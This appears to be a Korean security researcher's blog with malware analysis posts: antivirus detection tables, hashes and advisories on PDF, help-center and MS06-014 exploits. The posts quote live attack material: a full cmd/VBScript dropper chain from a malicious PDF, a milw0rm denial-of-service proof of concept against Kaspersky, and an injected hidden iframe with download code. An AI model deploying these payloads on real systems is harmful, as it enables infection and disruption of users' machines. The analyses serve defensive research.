태터데스크 관리자

도움말
닫기
적용하기   첫페이지 만들기

태터데스크 메시지

저장하였습니다.

신종악성코드정보2010.08.03 14:03


이번에 JailBreak 를 발표한 홈페이지에 등록된 파일입니다.


사용자 삽입 이미지





F-Secure 제품에서 Exploit:W32/Pidief.CQZ 라는 이름으로 진단을 추가하였네요.

http://www.virustotal.com/ko/analisis/d38fa276f58ce35d62a7eb3e12ea2009f6e4743de2805a84b4ac1df0381ade95-1280811584


안티바이러스 엔진 버전 정의 날짜 검사 결과
AhnLab-V3 2010.08.03.00 2010.08.03 -
AntiVir 8.2.4.32 2010.08.02 -
Antiy-AVL 2.0.3.7 2010.08.02 -
Authentium 5.2.0.5 2010.08.03 -
Avast 4.8.1351.0 2010.08.02 -
Avast5 5.0.332.0 2010.08.02 -
AVG 9.0.0.851 2010.08.03 -
BitDefender 7.2 2010.08.03 -
CAT-QuickHeal 11.00 2010.08.02 -
ClamAV 0.96.0.3-git 2010.08.03 -
Comodo 5626 2010.08.03 -
DrWeb 5.0.2.03300 2010.08.03 -
Emsisoft 5.0.0.34 2010.07.30 -
eSafe 7.0.17.0 2010.08.02 -
eTrust-Vet 36.1.7757 2010.08.02 -
F-Prot 4.6.1.107 2010.08.03 -
F-Secure 9.0.15370.0 2010.08.03 Exploit:W32/Pidief.CQZ
Fortinet 4.1.143.0 2010.08.02 -
GData 21 2010.08.03 -
Ikarus T3.1.1.84.0 2010.08.03 -
Jiangmin 13.0.900 2010.08.01 -
Kaspersky 7.0.0.125 2010.08.03 -
McAfee 5.400.0.1158 2010.08.03 -
McAfee-GW-Edition 2010.1 2010.08.02 -
Microsoft 1.6004 2010.08.02 -
NOD32 5335 2010.08.02 -
Norman 6.05.11 2010.08.02 -
nProtect 2010-08-02.02 2010.08.02 -
Panda 10.0.2.7 2010.08.02 -
PCTools 7.0.3.5 2010.08.03 -
Prevx 3.0 2010.08.03 -
Rising 22.59.01.01 2010.08.03 -
Sophos 4.56.0 2010.08.03 -
Sunbelt 6677 2010.08.03 -
Symantec 20101.1.1.7 2010.08.03 -
TheHacker 6.5.2.1.328 2010.07.30 -
TrendMicro 9.120.0.1004 2010.08.03 -
TrendMicro-HouseCall 9.120.0.1004 2010.08.03 -
VBA32 3.12.12.7 2010.08.02 -
ViRobot 2010.8.3.3968 2010.08.03 -
VirusBuster 5.0.27.0 2010.08.02 -
추가 정보
File size: 13468 bytes
MD5...: 0e269848ec51a1cedc4ba018a6198150

Posted by viruslab
신종악성코드정보2010.06.16 10:23


윈도우 도움말 및 지원 센터 취약점을 통한 악성코드가 발견되었습니다.

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1885

http://www.microsoft.com/technet/security/advisory/2219475.mspx

사용자 삽입 이미지

Kaspersky 제품에서는 Exploit.HTML.HCP.a 라는 진단명으로 추가한 상태입니다.

발견된 MD5 Hash 파일들입니다.

- 2a8dd61b35b9426412b9d373daabae79
- 62f4daf19da62595609d6a0c0089fcac
- b107fdc90691db5c54d13c5e50557c7e


nProtect Anti-Virus 제품에 치료 기능을 추가할 예정입니다.

Posted by viruslab
보안관련소식2010.06.09 12:17


PDF 취약점 파일 감염 과정입니다.

보통 이메일 첨부파일 형태로 불특정 다수에게 배포되기도 합니다.

참고 자료 보기
pdf 악성코드 메일로 유포된 사례
viruslab.tistory.com

먼저 해당 파일을 실행하면 다음과 같은 화면과 문서 파일이 뒷부분으로 보여집니다.

사용자 삽입 이미지

C:\WINDOWS\system32\cmd.exe /c echo Dim BinaryStream > temp_system321.vbs && echo Set BinaryStream = CreateObject("ADODB.Stream") >> temp_system321.vbs && echo BinaryStream.Type = 1 >> temp_system321.vbs && echo BinaryStream.Open >> temp_system321.vbs && echo BinaryStream.LoadFromFile FindLastModified(".") >> temp_system321.vbs && echo BinaryStream.Position=77072      >> temp_system321.vbs && echo s = BinaryStream.Read (204444    -77072     ) >> temp_system321.vbs && echo BinaryStream.Close >> temp_system321.vbs && echo BinaryStream.Open >> temp_system321.vbs && echo BinaryStream.Write s >> temp_system321.vbs && echo BinaryStream.SaveToFile "temp_system322.vbs",2 >> temp_system321.vbs && echo BinaryStream.Close >> temp_system321.vbs && echo dim wshshell >> temp_system321.vbs && echo set wshshell = wscript.createobject("wscript.shell") >> temp_system321.vbs && echo wshshell.run "temp_system322.vbs",0,FALSE >> temp_system321.vbs && echo Function FindLastModified(strDir)   >> temp_system321.vbs && echo Set objFSO = CreateObject("Scripting.FileSystemObject")   >> temp_system321.vbs && echo Set oFolder = objFSO.GetFolder(strDir)   >> temp_system321.vbs && echo d = CDate("1/1/1950")   >> temp_system321.vbs && echo For Each oFile In oFolder.Files   >> temp_system321.vbs && echo If oFile.DateLastModified ^> d and InStr(oFile.Name, ".pdf") ^> 0 Then   >> temp_system321.vbs && echo NewestFile = oFile.Name   >> temp_system321.vbs && echo d = oFile.DateLastModified   >> temp_system321.vbs && echo End If   >> temp_system321.vbs && echo Next   >> temp_system321.vbs && echo FindLastModified = NewestFile   >> temp_system321.vbs && echo End Function    >> temp_system321.vbs  && temp_system321.vbs


  && echo


PLEASE PRESS OK BUTTON!



사용자 삽입 이미지

system321.vbs, system322.vbs 등의 스크립트 파일을 생성하여 exe 파일을 설치합니다.
 
사용자 삽입 이미지
사용자 삽입 이미지

현재 system32.exe 파일이 생성되지만 손상된 형태로 만들어지고 있는 것으로 파악되었습니다.

바이러스 토탈 진단 현황

http://www.virustotal.com/analisis/1e70058128ebfff634a453483dd48cc4e929bda17e960d1d5c0e2b7722ca017a-1276041725

Antivirus Version Last Update Result
a-squared 5.0.0.26 2010.06.09 Exploit.PDF-Dropper!IK
AhnLab-V3 2010.06.09.00 2010.06.09 -
AntiVir 8.2.2.6 2010.06.08 -
Antiy-AVL 2.0.3.7 2010.06.08 -
Authentium 5.2.0.5 2010.06.08 PDF/Expl.HY
Avast 4.8.1351.0 2010.06.08 PDF:Risk-A
Avast5 5.0.332.0 2010.06.08 PDF:Risk-A
AVG 9.0.0.787 2010.06.08 -
BitDefender 7.2 2010.06.09 Exploit.PDF-Dropper.Gen
CAT-QuickHeal 10.00 2010.06.08 -
ClamAV 0.96.0.3-git 2010.06.09 -
Comodo 5033 2010.06.09 -
DrWeb 5.0.2.03300 2010.06.09 -
eSafe 7.0.17.0 2010.06.08 PDF.DropperExploit.Gen
eTrust-Vet 36.1.7618 2010.06.08 PDF/POS!exploit
F-Prot 4.6.0.103 2010.06.08 -
F-Secure 9.0.15370.0 2010.06.08 Exploit.PDF-Dropper.Gen
Fortinet 4.1.133.0 2010.06.08 -
GData 21 2010.06.09 Exploit.PDF-Dropper.Gen
Ikarus T3.1.1.84.0 2010.06.08 Exploit.PDF-Dropper
Jiangmin 13.0.900 2010.06.08 -
Kaspersky 7.0.0.125 2010.06.08 Trojan-Dropper.VBS.Pdfka.a
McAfee 5.400.0.1158 2010.06.09 Exploit-PDF.ck
McAfee-GW-Edition 2010.1 2010.06.08 -
Microsoft 1.5802 2010.06.08 -
NOD32 5183 2010.06.08 -
Norman 6.04.12 2010.06.08 -
nProtect 2010-06-08.01 2010.06.08 Exploit.PDF-Dropper.Gen
Panda 10.0.2.7 2010.06.08 -
PCTools 7.0.3.5 2010.06.09 HeurEngine.PDF
Prevx 3.0 2010.06.09 -
Rising 22.51.01.04 2010.06.08 -
Sophos 4.53.0 2010.06.09 -
Sunbelt 6421 2010.06.09 -
Symantec 20101.1.0.89 2010.06.08 Bloodhound.PDF.24
TheHacker 6.5.2.0.295 2010.06.08 -
TrendMicro 9.120.0.1004 2010.06.08 -
TrendMicro-HouseCall 9.120.0.1004 2010.06.09 -
VBA32 3.12.12.5 2010.06.08 -
ViRobot 2010.6.8.2343 2010.06.08 -
VirusBuster 5.0.27.0 2010.06.08 VBS.Exedrop.F



Posted by viruslab
신종악성코드정보2010.06.07 13:21


Adobe CVE-2010-1297 PDF 취약점 시연 화면 입니다.

PDF Zero-Day 공격 취약점 주의
아직 보안패치가 발표되지 않았으니 각별히 주의하세요.
www.adobe.com

트랜드 마이크로 분석 정보
http://threatinfo.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=TROJ%5FPIDIEF%2EWX&VSect=T

바이러스 토탈 진단 현황
http://www.virustotal.com/analisis/bd2776e507cf0284a9cfb7deb9a241d6699243a221c125f9911fa753ca8f01d1-1275886442

Antivirus Version Last Update Result
a-squared 5.0.0.26 2010.06.07 HTML.Malicious!IK
AhnLab-V3 2010.06.06.00 2010.06.06 -
AntiVir 8.2.2.6 2010.06.06 HTML/Malicious.PDF.Gen
Antiy-AVL 2.0.3.7 2010.06.04 -
Authentium 5.2.0.5 2010.06.06 -
Avast 4.8.1351.0 2010.06.06 JS:Pdfka-gen
Avast5 5.0.332.0 2010.06.06 JS:Pdfka-gen
AVG 9.0.0.787 2010.06.06 Exploit_c.GGK
BitDefender 7.2 2010.06.07 Exploit.SWF.J
CAT-QuickHeal 10.00 2010.06.07 -
ClamAV 0.96.0.3-git 2010.06.07 -
Comodo 5013 2010.06.07 -
DrWeb 5.0.2.03300 2010.06.07 -
eSafe 7.0.17.0 2010.06.06 -
eTrust-Vet 35.2.7528 2010.06.04 -
F-Prot 4.6.0.103 2010.06.06 -
F-Secure 9.0.15370.0 2010.06.07 Exploit:W32/Pidief.CPT
Fortinet 4.1.133.0 2010.06.06 -
GData 21 2010.06.07 Exploit.SWF.J
Ikarus T3.1.1.84.0 2010.06.07 HTML.Malicious
Jiangmin 13.0.900 2010.06.06 -
Kaspersky 7.0.0.125 2010.06.07 Exploit.JS.Pdfka.ckq
McAfee 5.400.0.1158 2010.06.07 -
McAfee-GW-Edition 2010.1 2010.06.06 -
Microsoft 1.5802 2010.06.06 Exploit:Win32/Pdfjsc.gen!A
NOD32 5177 2010.06.06 -
Norman 6.04.12 2010.06.06 -
nProtect 2010-06-06.01 2010.06.06 -
Panda 10.0.2.7 2010.06.06 -
PCTools 7.0.3.5 2010.06.07 -
Prevx 3.0 2010.06.07 -
Rising 22.51.00.01 2010.06.07 -
Sophos 4.53.0 2010.06.07 -
Sunbelt 6414 2010.06.07 -
Symantec 20101.1.0.89 2010.06.07 -
TheHacker 6.5.2.0.292 2010.06.04 -
TrendMicro 9.120.0.1004 2010.06.06 -
TrendMicro-HouseCall 9.120.0.1004 2010.06.07 TROJ_PIDIEF.WX
VBA32 3.12.12.5 2010.06.04 -
ViRobot 2010.6.5.2339 2010.06.07 JS.S.EX-Pdfka.268333
VirusBuster 5.0.27.0 2010.06.06 -


nProtect Anti-Virus 6월 7일자에 치료 기능 추가



 




Posted by viruslab
보안관련소식2009.08.31 13:10


http://www.milw0rm.com/exploits/9537

사용자 삽입 이미지

Description
============

The vulnerability affects Kaspersky Internet Security 2010 9.0.0.459
antivirus and its brother, the Kaspersky Antivirus 2010 9.0.0.463
version. The exploit was discovered on August 18th 2009. The problem
with these two antivirus versions appears when parsing a URL address.
Using a lot of consecutive dots inside the address.Kaspersky's native
avp.exe process will soar CPU usage up to 100%. At first, traffic via
the browser will get blocked, and eventually, if enough consecutive dots
have been passed inside the URL address, the computer will crash. This
exploit can be used inside HTML files, as normal href values or as img
image sources. It will also work inside HTML email bodies. The code can
be used remotely, and will lead to a Remote Memory
Corruption/Denial-of-Service that could alter computer hardware or
software.

Tested on Products
=================
Kaspersky Internet Security 2010 9.0.0.459 (EN) with Mozilla FireFox in Windows XP Professional SP2 [en-US]
Kaspersky Anti-Virus 2010 [En] with IE8 in Windows XP Professional SP2 [en-US]

I have not tested it in Windows Vista/7 but it will work fine.

Proof of Concept
================

The following HTML code can cause memory corruption then crash in avp.exe and running browser remotely :-

<html><head><title>Kaspersky 2010 DoS/Remote Memory Corruption</title></head><body>
<font size="20">Watch your native Kaspersky avp.exe Process in Task Manager.
<img src="http://milw0rm.com.x/........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................">

<img src="http://milw0rm.com.x/....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................">
<img src="http://milw0rm.com.x/................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................">
<img src="http://milw0rm.com.x/............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................">
<img src="http://milw0rm.com.x/........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................">
<img src="http://milw0rm.com.x/....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................">
<img src="http://milw0rm.com.x/................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................">
<img src="http://milw0rm.com.x/............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................">
<img src="http://milw0rm.com.x/........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................">
<img src="http://milw0rm.com.x/....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................">
<img src="http://milw0rm.com.x/................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................">
<img src="http://milw0rm.com.x/............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................">
<img src="http://milw0rm.com.x/........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................">
<img src="http://milw0rm.com.x/....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................">
<img src="http://milw0rm.com.x/................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................">
<img src="http://milw0rm.com.x/............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................">
<img src="http://milw0rm.com.x/........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................">
<img src="http://milw0rm.com.x/....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................">

<!Some allow less length in address !>
</body>
</html>
Greetings
=============

milw0rm.com.x
str0ke
Maksymilian Arciemowicz (for reporting the vulnerability)


Posted by viruslab
바이러스분석2008.02.27 09:39


특정 웹 사이트가 해킹되어 일부 웹 페이지에 악성 아이프레임 소스가 추가되었다.

<iframe src=http://121.[삭제].130/comm.htm width=0 height=0></iframe>

그런데 재밌는것이 연결이 시도되는 comm.htm 내부 명령이다.

이 파일에는 스크립트 명령을 통해서 일부 코드를 알아보기 어렵게(암호화) 해 두었다.

t=eval("String.fromCharCode("+t+")");

이 코드를 복호화하면 사용자가 알아차리지 못하게 function init() / window.onload = init; 함수를 이용하여 아래와 같은 문구가 보여지게 만든다.

No web site is configured at this address.

사용자 삽입 이미지

여기서 재밌는 것은 실제 사용된 MS06-014 Exploit Code 의 최종 설치 파일이 아래와 같이 다시 comm.htm 파일이라는 것이다.

<script language="VBScript">
On Error Resume Next
exe = "http://121.[삭제].130/comm.htm"
하위생략
</script>

그렇게 되다보니 아래와 같은 오류창이 출력되는데, 이는 Temp 폴더에 vv.com 으로 생성시키는 명령 때문이다. 정상적인 PE 파일이 아니기 때문이다.

vv2="GET"
x.Open vv2, exe, False
x.Send
fname1="vv.com"
Set F = vv.CreateObject("Scripting.FileSystemObject","")
Set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)

사용자 삽입 이미지

사용자 삽입 이미지

공격자는 악성코드 링크를 지정하는 과정에서 딴 생각(?)을 했나보다. 의도하진 않았겠지만 사용자의 화면에는 위와 같은 오류창(16비트 MS-DOS 하위 시스템)이 출력된다.

공격자는 아마 자기 코드가 정상적으로 작동한다고 생각하고 있을지도 모르겠고, 나중에 발견하여 수정을 하게 될지도 모르겠다.

몇일 두고보면서 공격자의 활동을 예의주시해야 겠다.
Posted by viruslab
보안관련소식2008.02.01 09:38